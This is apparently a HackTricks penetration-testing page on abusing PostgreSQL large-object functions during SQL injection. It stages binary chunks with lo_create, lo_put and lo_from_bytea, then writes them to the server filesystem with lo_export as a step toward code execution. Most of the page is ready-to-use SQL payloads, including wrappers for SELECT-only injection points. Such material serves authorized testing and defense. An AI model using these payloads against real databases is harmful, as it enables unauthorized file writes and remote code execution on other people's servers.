big-binary-files-upload-postgresql.md (11250B)
1 --- 2 title: "Big Binary Files Upload in PostgreSQL" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Big Binary Files Upload in PostgreSQL 14 15 ## PostgreSQL Large Objects 16 17 PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.<sup>[[1]](#references)</sup> 18 19 This primitive is commonly chained with [RCE with PostgreSQL Extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions) or server-side configuration overwrites once `lo_export` is available. 20 21 ### Server-side SQL functions vs. client-side commands 22 23 Do not confuse `SELECT lo_import(...)` / `SELECT lo_export(...)` with psql's `\lo_import` / `\lo_export` meta-commands. The SQL functions access paths on the **database server** as the PostgreSQL service account; the backslash commands transfer files on the **psql client** through libpq. Therefore, only the SQL form provides the server-side file-write primitive needed by an SQL injection.<sup>[[1]](#references)</sup> 24 25 ```sql 26 SELECT lo_export(173454, '/tmp/payload.so'); -- Database server filesystem 27 \lo_export 173454 ./payload.so -- psql client filesystem 28 ``` 29 30 For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each one internal page in size. On standard builds these chunks are 2KB and must be complete except for the last one, otherwise direct row insertion produces zero-filled gaps in the exported file.<sup>[[3]](#references)</sup> 31 32 When **writing rows directly into `pg_largeobject`**, keep in mind that the page size is `LOBLKSIZE` (`BLCKSZ/4`, normally 2048 bytes). Therefore, every `pageno` chunk should be exactly one `LOBLKSIZE` except the last one. If you use `lo_from_bytea` or `lo_put` instead, PostgreSQL will split the data into the underlying pages for you.<sup>[[3]](#references)</sup> 33 34 To **divide your binary data** into 2KB chunks, the following commands can be executed: 35 36 ```bash 37 split -b 2048 your_file # Creates 2KB sized files 38 ``` 39 40 For encoding each file into Base64 or Hex, the commands below can be used: 41 42 ```bash 43 base64 -w 0 <Chunk_file> # Encodes in Base64 in one line 44 xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line 45 ``` 46 47 **Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`. 48 49 The contents of the large objects can be viewed for debugging purposes using: 50 51 ```sql 52 SELECT loid, pageno, encode(data, 'escape') 53 FROM pg_largeobject WHERE loid=173454 ORDER BY pageno; 54 SELECT sum(octet_length(data)) AS stored_bytes 55 FROM pg_largeobject WHERE loid=173454; 56 SELECT encode(lo_get(173454, 0, 32), 'hex'); 57 ``` 58 59 `stored_bytes` is not the logical file size if the object is sparse. Because each row begins at `pageno * LOBLKSIZE`, calculate the end of the highest page instead. Missing regions read back as zeroes.<sup>[[3]](#references)</sup> 60 61 ```sql 62 SELECT pageno * (current_setting('block_size')::bigint / 4) + octet_length(data) AS logical_bytes 63 FROM pg_largeobject WHERE loid=173454 ORDER BY pageno DESC LIMIT 1; 64 SELECT md5(lo_get(173454)) AS staged_md5; -- Suitable for ordinary payload-sized objects 65 ``` 66 67 #### Using `lo_creat` & Base64 68 69 To store binary data, a LOID is first created: 70 71 ```sql 72 SELECT lo_creat(-1); -- Creates a new, empty large object 73 SELECT lo_create(173454); -- Attempts to create a large object with a specific OID 74 ``` 75 76 In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID. 77 78 Data chunks can then be inserted as follows: 79 80 ```sql 81 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64')); 82 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64')); 83 84 ``` 85 86 To export and potentially delete the large object after use: 87 88 ```sql 89 SELECT lo_export(173454, '/tmp/your_file'); -- Path must be writable by the PostgreSQL OS user 90 SELECT lo_unlink(173454); -- Deletes the specified large object 91 ``` 92 93 #### Using `lo_import` & Hex 94 95 The `lo_import` function can be utilized to create and specify a LOID for a large object: 96 97 ```sql 98 select lo_import('/path/to/file'); 99 select lo_import('/path/to/file', 173454); 100 ``` 101 102 In exploitation this is useful when you can already read a file from the **server file system**, want to clone it into a large object, patch it inside the database, and then export it back later. 103 104 Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB: 105 106 ```sql 107 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0; 108 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1; 109 ``` 110 111 To complete the process, the data is exported and the large object is deleted: 112 113 ```sql 114 select lo_export(173454, '/path/to/your_file'); 115 select lo_unlink(173454); -- Deletes the specified large object 116 ``` 117 118 #### Using `lo_from_bytea`, `lo_put` & `lo_get` 119 120 For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**.<sup>[[2]](#references)</sup> 121 122 ```sql 123 SELECT lo_from_bytea(173454, decode('<FULL_FILE_HEX>', 'hex')); -- Fixed OID 124 SELECT lo_from_bytea(0, decode('<FULL_FILE_HEX>', 'hex')); -- Let PostgreSQL choose the OID 125 SELECT lo_put(173454, 0, decode('<HEX chunk 0>', 'hex')); 126 SELECT lo_put(173454, 2048, decode('<HEX chunk 1>', 'hex')); 127 SELECT encode(lo_get(173454, 0, 32), 'hex'); 128 SELECT lo_export(173454, '/tmp/payload.so'); 129 ``` 130 131 Useful notes: 132 133 - `lo_put` uses **byte offsets**, not `pageno`. 134 - `lo_from_bytea` and `lo_put` split the data into the internal 2KB pages automatically. 135 - This makes them more practical than direct `INSERT`/`UPDATE` against `pg_largeobject` when automating large uploads. 136 - Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries.<sup>[[2]](#references)</sup> 137 138 If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses:<sup>[[2]](#references)</sup> 139 140 ```sql 141 (SELECT 1 FROM (SELECT lo_put(173454, 0, decode('<HEX>', 'hex'))) AS _) 142 ``` 143 144 Another practical trick for restrictive `CASE`/`ORDER BY` sinks is wrapping `lo_put` with `pg_typeof(...)`, because `lo_put` itself returns `void`. 145 146 #### Pre-flight checks 147 148 Before sending hundreds of chunks, confirm the effective role, transaction mode, and the exact overloaded function privilege. A role can have `EXECUTE` on `lo_export(oid,text)` without being a database superuser, and PostgreSQL warns that such a grant is effectively server-file access.<sup>[[1]](#references)</sup> 149 150 ```sql 151 SELECT current_user, 152 (SELECT rolsuper FROM pg_roles WHERE rolname = current_user) AS is_superuser, 153 current_setting('transaction_read_only')::boolean AS is_read_only, 154 has_function_privilege( 155 current_user, 'pg_catalog.lo_export(oid,text)', 'EXECUTE' 156 ) AS can_call_lo_export; 157 SELECT oid, lomowner::regrole, lomacl 158 FROM pg_largeobject_metadata WHERE oid = 173454; 159 ``` 160 161 Function-level `EXECUTE` and object-level rights are separate checks: reading an existing LO needs `SELECT`, writing it needs `UPDATE`, and unlinking it requires ownership or superuser. A newly created object is owned by the role that created it.<sup>[[1]](#references)[[3]](#references)</sup> 162 163 #### Request, rollback, and retry behavior 164 165 Large-object catalog changes participate in the surrounding SQL transaction. Consequently, a `lo_create` or `lo_put` executed through an error-based payload disappears if the application later rolls the request back. Make every staging expression return a valid, type-compatible value and ensure it is actually evaluated; split the upload over successful requests when necessary. In contrast, `lo_export` writes an external operating-system file, so a later database rollback cannot restore a file that was truncated or replaced—test the chain against a disposable path first.<sup>[[1]](#references)[[4]](#references)</sup> 166 167 Retries are safe at a previously written offset because `lo_put` overwrites bytes, but it does **not shrink** an existing object. If an earlier payload was longer, reuse can leave a stale tail in the exported file; `lo_unlink` and recreate the LO before a fresh upload.<sup>[[1]](#references)</sup> 168 169 #### Sparse overwrites / patching specific offsets 170 171 `pg_largeobject` supports **sparse storage**: missing pages are interpreted as zeroes when the object is read back. Therefore, `lo_put` is also useful to patch only selected offsets instead of rebuilding the whole object. 172 173 ```sql 174 -- Patch bytes at offset 0x1000 175 SELECT lo_put(173454, 4096, decode('<PATCHED_HEX>', 'hex')); 176 ``` 177 178 This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.<sup>[[2]](#references)</sup> 179 180 ## Limitations 181 182 - Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it.<sup>[[1]](#references)</sup> 183 - Enumerating large objects is usually done via `pg_largeobject_metadata`; modern versions do not keep `pg_largeobject` world-readable like older releases did. 184 - `lo_import` and `lo_export` access the **server** file system as the PostgreSQL OS user, so by default they are restricted to superusers. If a lower-privileged role has them granted, that is often close to arbitrary file read/write as `postgres`. 185 - If `lo_compat_privileges` is enabled, the post-9.0 large-object privilege checks are disabled for compatibility, which can re-open legacy read/write behavior on misconfigured targets. 186 187 188 ## References 189 190 - [1] [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html) 191 - [2] [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) 192 - [3] [PostgreSQL official documentation - `pg_largeobject`](https://www.postgresql.org/docs/current/catalog-pg-largeobject.html) 193 - [4] [PostgreSQL official documentation - Transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html)